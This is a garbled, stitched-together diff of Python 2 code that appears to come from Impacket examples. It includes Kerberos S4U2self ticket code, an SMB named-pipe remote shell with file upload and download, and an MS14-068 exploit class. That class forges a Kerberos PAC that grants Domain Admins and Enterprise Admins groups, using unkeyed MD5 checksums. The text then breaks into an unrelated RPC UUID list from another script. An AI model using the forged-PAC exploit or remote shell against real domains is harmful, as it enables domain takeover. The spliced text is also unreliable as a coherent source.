decoder.decode(tgt, asn1Spec = AS_REP())[0] + + # Extract the ticket from the TGT + ticket = Ticket() + ticket.from_asn1(decodedTGT['ticket']) + + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = list() + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq,'ticket', ticket.to_asn1) + + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = str(decodedTGT['crealm']) + + clientName = Principal() + clientName.from_asn1( decodedTGT, 'crealm', 'cname') + + seq_set(authenticator, 'cname', clientName.components_to_asn1) + + now = datetime.datetime.utcnow() + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) + + if logging.getLogger().level == logging.DEBUG: + logging.debug('AUTHENTICATOR') + print authenticator.prettyPrint() + print ('\n') + + encodedAuthenticator = encoder.encode(authenticator) + + # Key Usage 7 + # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes + # TGS authenticator subkey), encrypted with the TGS session + # key (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) + + apReq['authenticator'] = None + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + + encodedApReq = encoder.encode(apReq) + + tgsReq = TGS_REQ() + + tgsReq['pvno'] = 5 + tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) + + tgsReq['padata'] = None + tgsReq['padata'][0] = None + tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) + tgsReq['padata'][0]['padata-value'] = encodedApReq + + # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service + # requests a service ticket to itself on behalf of a user. The user is + # identified to the KDC by the user's name and realm. + clientName = Principal(self.__behalfUser, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + + S4UByteArray = struct.pack(' 0: + try: + s.waitNamedPipe(tid,pipe) + pipeReady = True + except: + tries -= 1 + time.sleep(2) + pass + + if tries == 0: + logging.critical('Pipe not ready, aborting') + raise + + fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80) + + return fid + +class Pipes(Thread): + def __init__(self, transport, pipe, permissions, TGS=None, share=None): + Thread.__init__(self) + self.server = 0 + self.transport = transport + self.credentials = transport.get_credentials() + self.tid = 0 + self.fid = 0 + self.share = share + self.port = transport.get_dport() + self.pipe = pipe + self.permissions = permissions + self.TGS = TGS + self.daemon = True + + def connectPipe(self): + try: + lock.acquire() + global dialect + self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), + sess_port=self.port, preferredDialect=dialect) + user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials + self.server.login(user, passwd, domain, lm, nt) + lock.release() + self.tid = self.server.connectTree('IPC$') + + self.server.waitNamedPipe(self.tid, self.pipe) + self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80) + self.server.setTimeout(1000000) + except: + logging.critical("Something wen't wrong connecting the pipes(%s), try again" % self.__class__) + + +class RemoteStdOutPipe(Pipes): + def __init__(self, transport, pipe, permisssions): + Pipes.__init__(self, transport, pipe, permisssions) + + def run(self): + self.connectPipe() + while True: + try: + ans = self.server.readFile(self.tid,self.fid, 0, 1024) + except: + pass + else: + try: + global LastDataSent + if ans != LastDataSent: + sys.stdout.write(ans) + sys.stdout.flush() + else: + # Don't echo what I sent, and clear it up + LastDataSent = '' + # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars, + # it will give false positives tho.. we should find a better way to handle this. + if LastDataSent > 10: + LastDataSent = '' + except: + pass + +class RemoteStdErrPipe(Pipes): + def __init__(self, transport, pipe, permisssions): + Pipes.__init__(self, transport, pipe, permisssions) + + def run(self): + self.connectPipe() + while True: + try: + ans = self.server.readFile(self.tid,self.fid, 0, 1024) + except: + pass + else: + try: + sys.stderr.write(str(ans)) + sys.stderr.flush() + except: + pass + +class RemoteShell(cmd.Cmd): + def __init__(self, server, port, credentials, tid, fid, TGS, share): + cmd.Cmd.__init__(self, False) + self.prompt = '\x08' + self.server = server + self.transferClient = None + self.tid = tid + self.fid = fid + self.credentials = credentials + self.share = share + self.port = port + self.TGS = TGS + self.intro = '[!] Press help for extra shell commands' + + def connect_transferClient(self): + self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port, + preferredDialect=dialect) + user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials + self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGS=self.TGS, useCache=False) + + def do_help(self, line): + print """ + lcd {path} - changes the current local directory to {path} + exit - terminates the server process (and this session) + put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s) + get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir + ! {cmd} - executes a local shell cmd +""" % (self.share, self.share) + self.send_data('\r\n', False) + + def do_shell(self, s): + os.system(s) + self.send_data('\r\n') + + def do_get(self, src_path): + try: + if self.transferClient is None: + self.connect_transferClient() + + import ntpath + filename = ntpath.basename(src_path) + fh = open(filename,'wb') + logging.info("Downloading %s\%s" % (self.share, src_path)) + self.transferClient.getFile(self.share, src_path, fh.write) + fh.close() + except Exception, e: + logging.error(str(e)) + pass + + self.send_data('\r\n') + + def do_put(self, s): + try: + if self.transferClient is None: + self.connect_transferClient() + params = s.split(' ') + if len(params) > 1: + src_path = params[0] + dst_path = params[1] + elif len(params) == 1: + src_path = params[0] + dst_path = '/' + + src_file = os.path.basename(src_path) + fh = open(src_path, 'rb') + f = dst_path + '/' + src_file + pathname = string.replace(f,'/','\\') + logging.info("Uploading %s to %s\%s" % (src_file, self.share, dst_path)) + self.transferClient.putFile(self.share, pathname, fh.read) + fh.close() + except Exception, e: + logging.error(str(e)) + pass + + self.send_data('\r\n') + + + def do_lcd(self, s): + if s == '': + print os.getcwd() + else: + try: + os.chdir(s) + except Exception, e: + logging.error(str(e)) + self.send_data('\r\n') + + def emptyline(self): + self.send_data('\r\n') + return + + def default(self, line): + self.send_data(line+'\r\n') + + def send_data(self, data, hideOutput = True): + if hideOutput is True: + global LastDataSent + LastDataSent = data + else: + LastDataSent = '' + self.server.writeFile(self.tid, self.fid, data) + + +class RemoteStdInPipe(Pipes): + def __init__(self, transport, pipe, permisssions, TGS=None, share=None): + Pipes.__init__(self, transport, pipe, permisssions, TGS, share) + + def run(self): + self.connectPipe() + shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.TGS, self.share) + shell.cmdloop() + + +class MS14_068: + # 6.1. Unkeyed Checksums + # Vulnerable DCs are accepting at least these unkeyed checksum types + CRC_32 = 1 + RSA_MD4 = 2 + RSA_MD5 = 7 + class VALIDATION_INFO(TypeSerialization1): + structure = ( + ('Data', PKERB_VALIDATION_INFO), + ) + + def __init__(self, target, targetIp=None, username='', password='', domain='', hashes=None, command='', + copyFile=None, writeTGT=None, kdcHost=None): + self.__username = username + self.__password = password + self.__domain = domain + self.__rid = 0 + self.__lmhash = '' + self.__nthash = '' + self.__target = target + self.__targetIp = targetIp + self.__kdcHost = None + self.__copyFile = copyFile + self.__command = command + self.__writeTGT = writeTGT + self.__domainSid = '' + self.__forestSid = None + self.__domainControllers = list() + self.__kdcHost = kdcHost + + if hashes is not None: + self.__lmhash, self.__nthash = hashes.split(':') + self.__lmhash = unhexlify(self.__lmhash) + self.__nthash = unhexlify(self.__nthash) + + def getGoldenPAC(self, authTime): + # Ok.. we need to build a PAC_TYPE with the following items + + # 1) KERB_VALIDATION_INFO + aTime = timegm(strptime(str(authTime), '%Y%m%d%H%M%SZ')) + + unixTime = getFileTime(aTime) + + kerbdata = KERB_VALIDATION_INFO() + + kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff + kerbdata['LogonTime']['dwHighDateTime'] = unixTime >>32 + + # LogoffTime: A FILETIME structure that contains the time the client's logon + # session should expire. If the session should not expire, this structure + # SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime + # member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as + # an indicator of when to warn the user that the allowed time is due to expire. + kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF + kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF + + # KickOffTime: A FILETIME structure that contains LogoffTime minus the user + # account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the + # client should not be logged off, this structure SHOULD have the dwHighDateTime + # member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF. + # The Kerberos service ticket end time is a replacement for KickOffTime. + # The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of + # an account. A recipient of the PAC SHOULD<8> use this value as the indicator + # of when the client should be forcibly disconnected. + kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF + kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF + + kerbdata['PasswordLastSet']['dwLowDateTime'] = 0 + kerbdata['PasswordLastSet']['dwHighDateTime'] = 0 + + kerbdata['PasswordCanChange']['dwLowDateTime'] = 0 + kerbdata['PasswordCanChange']['dwHighDateTime'] = 0 + + # PasswordMustChange: A FILETIME structure that contains the time at which + # theclient's password expires. If the password will not expire, this + # structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the + # dwLowDateTime member set to 0xFFFFFFFF. + kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF + kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF + + kerbdata['EffectiveName'] = self.__username + kerbdata['FullName'] = '' + kerbdata['LogonScript'] = '' + kerbdata['ProfilePath'] = '' + kerbdata['HomeDirectory'] = '' + kerbdata['HomeDirectoryDrive'] = '' + kerbdata['LogonCount'] = 0 + kerbdata['BadPasswordCount'] = 0 + kerbdata['UserId'] = self.__rid + kerbdata['PrimaryGroupId'] = 513 + + # Our Golden Well-known groups! :) + groups = (513, 512, 520, 518, 519) + kerbdata['GroupCount'] = len(groups) + + for group in groups: + groupMembership = GROUP_MEMBERSHIP() + groupId = NDRULONG() + groupId['Data'] = group + groupMembership['RelativeId'] = groupId + groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED + kerbdata['GroupIds'].append(groupMembership) + + kerbdata['UserFlags'] = 0 + kerbdata['UserSessionKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + kerbdata['LogonServer'] = '' + kerbdata['LogonDomainName'] = self.__domain + kerbdata['LogonDomainId'] = self.__domainSid + kerbdata['LMKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00' + kerbdata['UserAccountControl']= USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD + kerbdata['SubAuthStatus'] = 0 + kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0 + kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0 + kerbdata['LastFailedILogon']['dwLowDateTime'] = 0 + kerbdata['LastFailedILogon']['dwHighDateTime'] = 0 + kerbdata['FailedILogonCount'] = 0 + kerbdata['Reserved3'] = 0 + + # AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY: A SID that means the client's identity is + # asserted by an authentication authority based on proof of possession of client credentials. + #extraSids = ('S-1-18-1',) + if self.__forestSid is not None: + extraSids = ('%s-%s' % (self.__forestSid, '519'),) + kerbdata['SidCount'] = len(extraSids) + kerbdata['UserFlags'] |= 0x20 + else: + extraSids = () + kerbdata['SidCount'] = len(extraSids) + + for extraSid in extraSids: + sidRecord = KERB_SID_AND_ATTRIBUTES() + sid = RPC_SID() + sid.fromCanonical(extraSid) + sidRecord['Sid'] = sid + sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED + kerbdata['ExtraSids'].append(sidRecord) + + kerbdata['ResourceGroupDomainSid'] = NULL + kerbdata['ResourceGroupCount'] = 0 + kerbdata['ResourceGroupIds'] = NULL + + validationInfo = self.VALIDATION_INFO() + validationInfo['Data'] = kerbdata + + if logging.getLogger().level == logging.DEBUG: + logging.debug('VALIDATION_INFO') + validationInfo.dump() + print ('\n') + + validationInfoBlob = validationInfo.getData()+validationInfo.getDataReferents() + validationInfoAlignment = '\x00'*(((len(validationInfoBlob)+7)/8*8)-len(validationInfoBlob)) + + # 2) PAC_CLIENT_INFO + pacClientInfo = PAC_CLIENT_INFO() + pacClientInfo['ClientId'] = unixTime + try: + name = self.__username.encode('utf-16le') + except UnicodeDecodeError: + import sys + name = self.__username.decode(sys.getfilesystemencoding()).encode('utf-16le') + pacClientInfo['NameLength'] = len(name) + pacClientInfo['Name'] = name + pacClientInfoBlob = str(pacClientInfo) + pacClientInfoAlignment = '\x00'*(((len(pacClientInfoBlob)+7)/8*8)-len(pacClientInfoBlob)) + + # 3) PAC_SERVER_CHECKSUM/PAC_SIGNATURE_DATA + serverChecksum = PAC_SIGNATURE_DATA() + + # If you wanna do CRC32, uncomment this + #serverChecksum['SignatureType'] = self.CRC_32 + #serverChecksum['Signature'] = '\x00'*4 + + # If you wanna do MD4, uncomment this + #serverChecksum['SignatureType'] = self.RSA_MD4 + #serverChecksum['Signature'] = '\x00'*16 + + # If you wanna do MD5, uncomment this + serverChecksum['SignatureType'] = self.RSA_MD5 + serverChecksum['Signature'] = '\x00'*16 + + serverChecksumBlob = str(serverChecksum) + serverChecksumAlignment = '\x00'*(((len(serverChecksumBlob)+7)/8*8)-len(serverChecksumBlob)) + + # 4) PAC_PRIVSVR_CHECKSUM/PAC_SIGNATURE_DATA + privSvrChecksum = PAC_SIGNATURE_DATA() + + # If you wanna do CRC32, uncomment this + #privSvrChecksum['SignatureType'] = self.CRC_32 + #privSvrChecksum['Signature'] = '\x00'*4 + + # If you wanna do MD4, uncomment this + #privSvrChecksum['SignatureType'] = self.RSA_MD4 + #privSvrChecksum['Signature'] = '\x00'*16 + + # If you wanna do MD5, uncomment this + privSvrChecksum['SignatureType'] = self.RSA_MD5 + privSvrChecksum['Signature'] = '\x00'*16 + + privSvrChecksumBlob = str(privSvrChecksum) + privSvrChecksumAlignment = '\x00'*(((len(privSvrChecksumBlob)+7)/8*8)-len(privSvrChecksumBlob)) + + # The offset are set from the beginning of the PAC_TYPE + # [MS-PAC] 2.4 PAC_INFO_BUFFER + offsetData = 8 + len(str(PAC_INFO_BUFFER()))*4 + + # Let's build the PAC_INFO_BUFFER for each one of the elements + validationInfoIB = PAC_INFO_BUFFER() + validationInfoIB['ulType'] = PAC_LOGON_INFO + validationInfoIB['cbBufferSize'] = len(validationInfoBlob) + validationInfoIB['Offset'] = offsetData + offsetData = (offsetData+validationInfoIB['cbBufferSize'] + 7) /8 *8 + + pacClientInfoIB = PAC_INFO_BUFFER() + pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE + pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob) + pacClientInfoIB['Offset'] = offsetData + offsetData = (offsetData+pacClientInfoIB['cbBufferSize'] + 7) /8 *8 + + serverChecksumIB = PAC_INFO_BUFFER() + serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM + serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob) + serverChecksumIB['Offset'] = offsetData + offsetData = (offsetData+serverChecksumIB['cbBufferSize'] + 7) /8 *8 + + privSvrChecksumIB = PAC_INFO_BUFFER() + privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM + privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob) + privSvrChecksumIB['Offset'] = offsetData + #offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) /8 *8 + + # Building the PAC_TYPE as specified in [MS-PAC] + buffers = str(validationInfoIB) + str(pacClientInfoIB) + str(serverChecksumIB) + str( + privSvrChecksumIB) + validationInfoBlob + validationInfoAlignment + str( + pacClientInfo) + pacClientInfoAlignment + buffersTail = str(serverChecksum) + serverChecksumAlignment + str(privSvrChecksum) + privSvrChecksumAlignment + + pacType = PACTYPE() + pacType['cBuffers'] = 4 + pacType['Version'] = 0 + pacType['Buffers'] = buffers + buffersTail + + blobToChecksum = str(pacType) + + # If you want to do CRC-32, ucomment this + #serverChecksum['Signature'] = struct.pack(' +""" +import sys +import struct + +from impacket.examples import logger +from impacket import uuid +from impacket.dcerpc.v5.epm import KNOWN_UUIDS +from impacket.dcerpc.v5 import transport, rpcrt, epm +from impacket.dcerpc.v5 import mgmt + +uuid_database = set(uuid.string_to_uuidtup(line) for line in """ +00000001-0000-0000-c000-000000000046 v0.0 +00000131-0000-0000-c000-000000000046 v0.0 +00000132-0000-0000-c000-000000000046 v0.0 +00000134-0000-0000-c000-000000000046 v0.0 +00000136-0000-0000-c000-000000000046 v0.0 +00000141-0000-0000-c000-000000000046 v0.0 +00000143-0000-0000-c000-000000000046 v0.0 +000001a0-0000-0000-c000-000000000046 v0.0 +027947e1-d731-11ce-a357-000000000001 v0.0 +04fcb220-fcfd-11cd-bec8-00aa0047ae4e v1.0 +06bba54a-be05-49f9-b0a0-30f790261023 v1.0 +0767a036-0d22-48aa-ba69-b619480f38cb v1.0 +0a5a5830-58e0-11ce-a3cc-00aa00607271 v1.0 +0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53 v1.0 +0b0a6584-9e0f-11cf-a3cf-00805f68cb1b v1.0 +0b0a6584-9e0f-11cf-a3cf-00805f68cb1b v1.1 +0b6edbfa-4a24-4fc6-8a23-942b1eca65d1 v1.0 +0c821d64-a3fc-11d1-bb7a-0080c75e4ec1 v1.0 +0d72a7d4-6148-11d1-b4aa-00c04fb66ea0 v1.0 +0da5a86c-12c2-4943-30ab-7f74a813d853 v1.0 +0e4a0156-dd5d-11d2-8c2f-00c04fb6bcde v1.0 +1088a980-eae5-11d0-8d9b-00a02453c337 v1.0 +10f24e8e-0fa6-11d2-a910-00c04f990f3b v1.0 +11220835-5b26-4d94-ae86-c3e475a809de v1.0 +12345678-1234-abcd-ef00-0123456789ab v1.0 +12345678-1234-abcd-ef00-01234567cffb v1.0 +12345778-1234-abcd-ef00-0123456789ab v0.0 +12345778-1234-abcd-ef00-0123456789ac v1.0 +12b81e99-f207-4a4c-85d3-77b42f76fd14 v1.0 +12d4b7c8-77d5-11d1-8c24-00c04fa3080d v1.0 +12e65dd8-887f-41ef-91bf-8d816c42c2e7 v1.0 +130ceefb-e466-11d1-b78b-00c04fa32883 v2.0 +1453c42c-0fa6-11d2-a910-00c04f990f3b v1.0 +1544f5e0-613c-11d1-93df-00c04fd7bd09 v1.0 +16e0cf3a-a604-11d0-96b1-00a0c91ece30 v1.0 +16e0cf3a-a604-11d0-96b1-00a0c91ece30 v2.0 +17fdd703-1827-4e34-79d4-24a55c53bb37 v1.0 +18f70770-8e64-11cf-9af1-0020af6e72f4 v0.0 +1a9134dd-7b39-45ba-ad88-44d01ca47f28 v1.0 +1bddb2a6-c0c3-41be-8703-ddbdf4f0e80a v1.0 +1be617c0-31a5-11cf-a7d8-00805f48a135 v3.0 +1c1c45ee-4395-11d2-b60b-00104b703efd v0.0 +1cbcad78-df0b-4934-b558-87839ea501c9 v0.0 +1d55b526-c137-46c5-ab79-638f2a68e869 v1.0 +1ff70682-0a51-30e8-076d-740be8cee98b v1.0 +201ef99a-7fa0-444c-9399-19ba84f12a1a v1.0 +20610036-fa22-11cf-9823-00a0c911e5df v1.0 +209bb240-b919-11d1-bbb6-0080c75e4ec1 v1.0 +21cd80a2-b305-4f37-9d4c-4534a8d9b568 v0.0 +2465e9e0-a873-11d0-930b-00a0c90ab17c v3.0 +25952c5d-7976-4aa1-a3cb-c35f7ae79d1b v1.0 +266f33b4-c7c1-4bd1-8f52-ddb8f2214ea9 v1.0 +28607ff1-15a0-8e03-d670-b89eec8eb047 v1.0 +2acb9d68-b434-4b3e-b966-e06b4b3a84cb v1.0 +2eb08e3e-639f-4fba-97b1-14f878961076 v1.0 +2f59a331-bf7d-48cb-9e5c-7c090d76e8b8 v1.0 +2f5f3220-c126-1076-b549-074d078619da v1.2 +2f5f6520-ca46-1067-b319-00dd010662da v1.0 +2f5f6521-ca47-1068-b319-00dd010662db v1.0 +2f5f6521-cb55-1059-b446-00df0bce31db v1.0 +2fb92682-6599-42dc-ae13-bd2ca89bd11c v1.0 +300f3532-38cc-11d0-a3f0-0020af6b0add v1.2 +326731e3-c1c0-4a69-ae20-7d9044a4ea5c v1.0 +333a2276-0000-0000-0d00-00809c000000 v3.0 +338cd001-2244-31f1-aaaa-900038001003 v1.0 +342cfd40-3c6c-11ce-a893-08002b2e9c6d v0.0 +3473dd4d-2e88-4006-9cba-22570909dd10 v5.0 +3473dd4d-2e88-4006-9cba-22570909dd10 v5.1 +359e47c9-682e-11d0-adec-00c04fc2a078 v1.0 +367abb81-9844-35f1-ad32-98f038001003 v2.0 +369ce4f0-0fdc-11d3-bde8-00c04f8eee78 v1.0 +378e52b0-c0a9-11cf-822d-00aa0051e40f v1.0 +386ffca4-22f5-4464-b660-be08692d7296 v1.0 +38a94e72-a9bc-11d2-8faf-00c04fa378ff v1.0 +3919286a-b10c-11d0-9ba8-00c04fd92ef5 v0.0 +3ba0ffc0-93fc-11d0-a4ec-00a0c9062910 v1.0 +3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5 v1.0 +3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6 v1.0 +3dde7c30-165d-11d1-ab8f-00805f14db40 v1.0 +3f31c91e-2545-4b7b-9311-9529e8bffef6 v1.0 +3f77b086-3a17-11d3-9166-00c04f688e28 v1.0 +3f99b900-4d87-101b-99b7-aa0004007f07 v1.0 +3faf4738-3a21-4307-b46c-fdda9bb8c0d5 v1.0 +3faf4738-3a21-4307-b46c-fdda9bb8c0d5 v1.1 +41208ee0-e970-11d1-9b9e-00e02c064c39 v1.0 +412f241e-c12a-11ce-abff-0020af6e7a17 v0.2 +423ec01e-2e35-11d2-b604-00104b703efd v0.0 +45776b01-5956-4485-9f80-f428f7d60129 v2.0 +45f52c28-7f9f-101a-b52b-08002b2efabe v1.0 +469d6ec0-0d87-11ce-b13f-00aa003bac6c v16.0 +4825ea41-51e3-4c2a-8406-8f2d2698395f v1.0 +4a452661-8290-4b36-8fbe-7f4093a94978 v1.0 +4b112204-0e19-11d3-b42b-0000f81feb9f v1.0 +4b324fc8-1670-01d3-1278-5a47bf6ee188 v0.0 +4b324fc8-1670-01d3-1278-5a47bf6ee188 v3.0 +4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 v0.0 +4da1c422-943d-11d1-acae-00c04fc2aa3f v1.0 +4f82f460-0e21-11cf-909e-00805f48a135 v4.0 +4fc742e0-4a10-11cf-8273-00aa004ae673 v3.0 +50abc2a4-574d-40b3-9d66-ee4fd5fba076 v5.0 +53e75790-d96b-11cd-ba18-08002b2dfead v2.0 +56c8504c-4408-40fd-93fc-afd30f10c90d v1.0 +57674cd0-5200-11ce-a897-08002b2e9c6d v0.0 +57674cd0-5200-11ce-a897-08002b2e9c6d v1.0 +5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc v1.0 +5b5b3580-b0e0-11d1-b92d-0060081e87f0 v1.0 +5b821720-f63b-11d0-aad2-00c04fc324db v1.0 +5c89f409-09cc-101a-89f3-02608c4d2361 v1.1 +5ca4a760-ebb1-11cf-8611-00a0245420ed v1.0 +5cbe92cb-f4be-45c9-9fc9-33e73e557b20 v1.0 +5f54ce7d-5b79-4175-8584-cb65313a0e98 v1.0 +6099fc12-3eff-11d0-abd0-00c04fd91a4e v3.0 +621dff68-3c39-4c6c-aae3-e68e2c6503ad v1.0 +629b9f66-556c-11d1-8dd2-00aa004abd5e v2.0 +629b9f66-556c-11d1-8dd2-00aa004abd5e v3.0 +63fbe424-2029-11d1-8db8-00aa004abd5e v1.0 +654976df-1498-4056-a15e-cb4e87584bd8 v1.0 +65a93890-fab9-43a3-b2a5-1e330ac28f11 v2.0 +68dcd486-669e-11d1-ab0c-00c04fc2dcd2 v1.0 +68dcd486-669e-11d1-ab0c-00c04fc2dcd2 v2.0 +69510fa1-2f99-4eeb-a4ff-af259f0f9749 v1.0 +6bffd098-0206-0936-4859-199201201157 v1.0 +6bffd098-a112-3610-9833-012892020162 v0.0 +6bffd098-a112-3610-9833-46c3f874532d v1.0 +6bffd098-a112-3610-9833-46c3f87e345a v1.0 +6e17aaa0-1a47-11d1-98bd-0000f875292e v2.0 +708cca10-9569-11d1-b2a5-0060977d8118 v1.0 +70b51430-b6ca-11d0-b9b9-00a0c922e750 v0.0 +76d12b80-3467-11d3-91ff-0090272f9ea3 v1.0 +76f226c3-ec14-4325-8a99-6a46348418ae v1.0 +76f226c3-ec14-4325-8a99-6a46348418af v1.0 +77df7a80-f298-11d0-8358-00a024c480a8 v1.0 +7af5bbd0-6063-11d1-ae2a-0080c75e4ec1 v0.2 +7c44d7d4-31d5-424c-bd5e-2b3e1f323d22 v1.0 +7c857801-7381-11cf-884d-00aa004b2e24 v0.0 +7e048d38-ac08-4ff1-8e6b-f35dbab88d4a v1.0 +7ea70bcf-48af-4f6a-8968-6a440754d5fa v1.0 +7f9d11bf-7fb9-436b-a812-b2d50c5d4c03 v1.0 +811109bf-a4e1-11d1-ab54-00a0c91e9b45 v1.0 +8174bb16-571b-4c38-8386-1102b449044a v1.0 +82273fdc-e32a-18c3-3f78-827929dc23ea v0.0 +82980780-4b64-11cf-8809-00a004ff3128 v3.0 +82ad4280-036b-11cf-972c-00aa006887b0 v2.0 +83d72bf0-0d89-11ce-b13f-00aa003bac6c v6.0 +83da7c00-e84f-11d2-9807-00c04f8ec850 v2.0 +86d35949-83c9-4044-b424-db363231fd0c v1.0 +894de0c0-0d55-11d3-a322-00c04fa321a1 v1.0 +89742ace-a9ed-11cf-9c0c-08002be7ae86 v2.0 +8c7a6de0-788d-11d0-9edf-444553540000 v2.0 +8c7daf44-b6dc-11d1-9a4c-0020af6e7c57 v1.0 +8cfb5d70-31a4-11cf-a7d8-00805f48a135 v3.0 +8d09b37c-9f3a-4ebb-b0a2-4dee7d6ceae9 v1.0 +8d0ffe72-d252-11d0-bf8f-00c04fd9126b v1.0 +8d9f4e40-a03d-11ce-8f69-08003e30051b v0.0 +8d9f4e40-a03d-11ce-8f69-08003e30051b v1.0 +8f09f000-b7ed-11ce-bbd2-00001a181cad v0.0 +8fb6d884-2388-11d0-8c35-00c04fda2795 v4.1 +906b0ce0-c70b-1067-b317-00dd010662da v1.0 +91ae6020-9e3c-11cf-8d7c-00aa00c091be v0.0 +92bdb7e4-f28b-46a0-b551-45a52bdd5125 v0.0 +93149ca2-973b-11d1-8c39-00c04fb984f9 v0.0 +93f5ac6f-1a94-4bc5-8d1b-fd44fc255089 v1.0 +9556dc99-828c-11cf-a37e-00aa003240c7 v0.0 +95958c94-a424-4055-b62b-b7f4d5c47770 v1.0 +975201b0-59ca-11d0-a8d5-00a0c90d8051 v1.0 +98fe2c90-a542-11d0-a4ef-00a0c9062910 v1.0 +99e64010-b032-11d0-97a4-00c04fd6551d v3.0 +99fcfec4-5260-101b-bbcb-00aa0021347a v0.0 +9b3195fe-d603-43d1-a0d5-9072d7cde122 v1.0 +9b8699ae-0e44-47b1-8e7f-86a461d7ecdc v0.0 +9e8ee830-4459-11ce-979b-00aa005ffebe v2.0 +a002b3a0-c9b7-11d1-ae88-0080c75e4ec1 v1.0 +a00c021c-2be2-11d2-b678-0000f87a8f8e v1.0 +a0bc4698-b8d7-4330-a28f-7709e18b6108 v4.0 +a2d47257-12f7-4beb-8981-0ebfa935c407 v1.0 +a398e520-d59a-4bdd-aa7a-3c1e0303a511 v1.0 +a3b749b1-e3d0-4967-a521-124055d1c37d v1.0 +a4c2fd60-5210-11d1-8fc2-00a024cb6019 v1.0 +a4f1db00-ca47-1067-b31e-00dd010662da v1.0 +a4f1db00-ca47-1067-b31f-00dd010662da v0.0 +a4f1db00-ca47-1067-b31f-00dd010662da v0.81 +aa177641-fc9b-41bd-80ff-f964a701596f v1.0 +aa411582-9bdf-48fb-b42b-faa1eee33949 v1.0 +aae9ac90-ce13-11cf-919e-08002be23c64 v1.0 +ae33069b-a2a8-46ee-a235-ddfd339be281 v1.0 +afa8bd80-7d8a-11c9-bef4-08002b102989 v1.0 +b196b284-bab4-101a-b69c-00aa00341d07 v0.0 +b196b286-bab4-101a-b69c-00aa00341d07 v0.0 +b58aa02e-2884-4e97-8176-4ee06d794184 v1.0 +b7b31df9-d515-11d3-a11c-00105a1f515a v0.0 +b97db8b2-4c63-11cf-bff6-08002be23f2f v2.0 +b9e79e60-3d52-11ce-aaa1-00006901293f v0.2 +bfa951d1-2f0e-11d3-bfd1-00c04fa3490a v1.0 +c13d3372-cc20-4449-9b23-8cc8271b3885 v1.0 +c33b9f46-2088-4dbc-97e3-6125f127661c v1.0 +c681d488-d850-11d0-8c52-00c04fd90f7e v1.0 +c6f3ee72-ce7e-11d1-b71e-00c04fc3111a v1.0 +c8cb7687-e6d3-11d2-a958-00c04f682e16 v1.0 +c9378ff1-16f7-11d0-a0b2-00aa0061426a v1.0 +c9ac6db5-82b7-4e55-ae8a-e464ed7b4277 v1.0 +ce1334a5-41dd-40ea-881d-64326b23effe v0.2 +d049b186-814f-11d1-9a3c-00c04fc9b232 v1.1 +d2d79dfa-3400-11d0-b40b-00aa005ff586 v1.0 +d335b8f6-cb31-11d0-b0f9-006097ba4e54 v1.5 +d3fbb514-0e3b-11cb-8fad-08002b1d29c3 v1.0 +d4781cd6-e5d3-44df-ad94-930efe48a887 v0.0 